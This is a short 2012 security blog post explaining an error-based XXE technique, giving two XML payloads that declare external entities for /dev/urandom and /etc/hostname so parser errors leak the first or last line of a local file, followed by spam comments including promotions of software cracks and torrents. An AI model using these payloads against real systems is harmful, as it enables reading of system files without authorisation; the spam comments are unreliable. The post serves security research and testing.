четверг, 4 октября 2012 г.

Error-based XXE exploitation trick

Exploiting of XXE vulnerabilities are difficult when you cannot view results XML document.

Recent vulnerability in Postgres XXE are good example of this: entities resolved but not added to XML output. This is common case in the wild.

Bring to your attention easy trick which provide reading first and last lines of ASCII files (which cannot be read by classic XXE attack vector, such as error-based case):

<!DOCTYPE [
   <!ENTITY malformed SYSTEM "/dev/urandom" ><!-- sometimes also /dev/null -->
   <!ENTITY wanttoread SYSTEM "/etc/hostname" >
]>
<!-- read first line of file using error-based XXE -->
<root>
&malformed; &wanttoread;
</root>

<!DOCTYPE [
   <!ENTITY malformed SYSTEM "/dev/urandom" ><!-- sometimes /dev/null -->
   <!ENTITY wanttoread SYSTEM "/etc/hostname" >
]>
<!-- read last line of file using error-based XXE -->
<root>
 &wanttoread; &malformed;
</root>

In error message you will look at smth like this:
ERROR: hostnamestr
                                     ^
didn't parse (line: 1 pos: 13)

23 комментария:

  1. I'm glad to have read such a great writing. Keep up the good job! Visit Lawrence Todd Maxwell on Scoop.it for interesting topics about real estate.

    ОтветитьУдалить
  2. If you are having trouble in drafting your marketing assignments, it’s time for you to considering moving towards assignment help online services. IdealAssignmentHelp is here to help you with the best of online writing services which can help you submit your marketing assignment on time. Yes, they have the best team to assist you with your needs of My assignment help online services and that too at very affordable rates.

    ОтветитьУдалить
  3. If you are dreaming to get education from the best and reputed college for MBA in UK then there is a best opportunity for you with the help of which you can easily get admission to the top MBA College in Chandigarh. With the help of the best MBA College in Chandigarh you can easily get the best education and training affiliated from the top BBA universities in Chandigarh. If you want more info then you can visit the official website of SOIS i.e. https://www.soisonline.com/

    ОтветитьУдалить
  4. Take Online Assignment Help and connect with online tutors to lighten your academic stress effectively. To access these services, you need to log in or fill the order now form. Share your project details correctly, so that you will get the right content according to your requirements. You don’t need to pay a hefty amount for hiring an academic writer for your academic papers. Connect with a reliable service provider and get the awesome online academic writing services at the best market price.

    ОтветитьУдалить
  5. Such a valuable post. I like it very much and I like your choice words also. Please post some more topics related to online help because I also work in the online professional support industry which provides support of Outlook. I am waiting for your next valuable post
    How do I contact outlook by phone?
    How do I contact Outlook support?
    Is there a phone number for Outlook support?
    Outlook Support Phone number
    Microsoft Outlook Support

    ОтветитьУдалить

  6. نقل عفش من جدة الى دبي شحن عفش من جدة الى الامارات


    نقل عفش من الدمام الى الرياض نقل عفش من الدمام الى الرياض
    ارخص نقل عفش بمكة ارخص نقل عفش بمكة
    نقل عفش من جدة الى الاردن نقل عفش من جدة الى الاردن
    نقل عفش

    ОтветитьУдалить
  7. Myself Edwin Robert, part of the best digital marketing company along with the I really use my knowledge for myself like my website shayari ka pitara where you'll get all types of shayari like cute love shayari in hindi for boyfriend latest and unique.

    ОтветитьУдалить
  8. Hire the one of the best digital marketing company in Chandigarh - digital expert solution. As it is the only website that actually give you the top ranking over google that helps you to deliver the best leads makes your business a huge profit. As the professional team working in this company having full knowledge about what is google sandbox effect in seo and rank your business easily.

    ОтветитьУдалить
  9. Really informative and inoperative, Thanks for the post and effort! Please keep sharing.

    Tips for Discoverr University Walkthrough For PC

    ОтветитьУдалить
  10. If you want to become like the best social activist krispy khera then you should learn everything about the personal and professional life of krispy khera gill. As she help various people of the society and give them opportunity to live a good life. If you are interested in her work then you should go for the official website of krispy khera gill chandigarh.

    ОтветитьУдалить

  11. Qeshm Air is transporting passengers on domestic, foreign and Atbat routes. The airline has so far flown to 27 international destinations and 29 domestic destinations.

    بلیط هواپیمای قشم ایر

    ОтветитьУдалить
  12. If it’s time to update your Garmin navigation data, then a special application called Garmin Express will help for your Garmin Nuvi Updates For Map. It exists in two versions - for Windows and for Apple computers. In other words, users of both popular operating systems will be able to use convenient cards. We can update our device with the latest data every quarter, all the time using Garmin navigation.

    ОтветитьУдалить
  13. Garmin Gps Map update free for most recent 2020 Garmin map refreshes. Get online help for how to refresh garmin gps, garmin nuvi lifetime map update, route update and free garmin map refreshes USA.

    ОтветитьУдалить
  14. When it comes to your career prospects and bright future, Assignment Help takes the onus on itself to promote your growth in the right direction. So, that way you wouldn’t have to think twice before trusting us with your academic papers. Assignment help Sydney

    ОтветитьУдалить
  15. idm crackfile is given beneath toward the finish of this post. Introduce the break and appreciate the IDM Serial Key Keymaker for the lifetime and appreciate the best web downloading speed.it has the savvy and appealing menu that is exceptionally basic, easy to understand and simple to use. It totally underpins all the most loved program like Google Chrome, Mozilla Firefox, Safari, musical drama, and numerous others. Internet Download Manager Crack Download for Windows 7 additionally underwrites the intermediary servers, FTP and https and numerous others. Now and again, your web association has been disengaged amid the downloading yet don’t be the stress; it gives the office to continue it once more.

    ОтветитьУдалить
  16. The article is very nice, “thank” you for sharing it! ?
    xlstat torrent

    ОтветитьУдалить
  17. The article is very nice, “thank” you for sharing it! ?
    xlstat torrent

    ОтветитьУдалить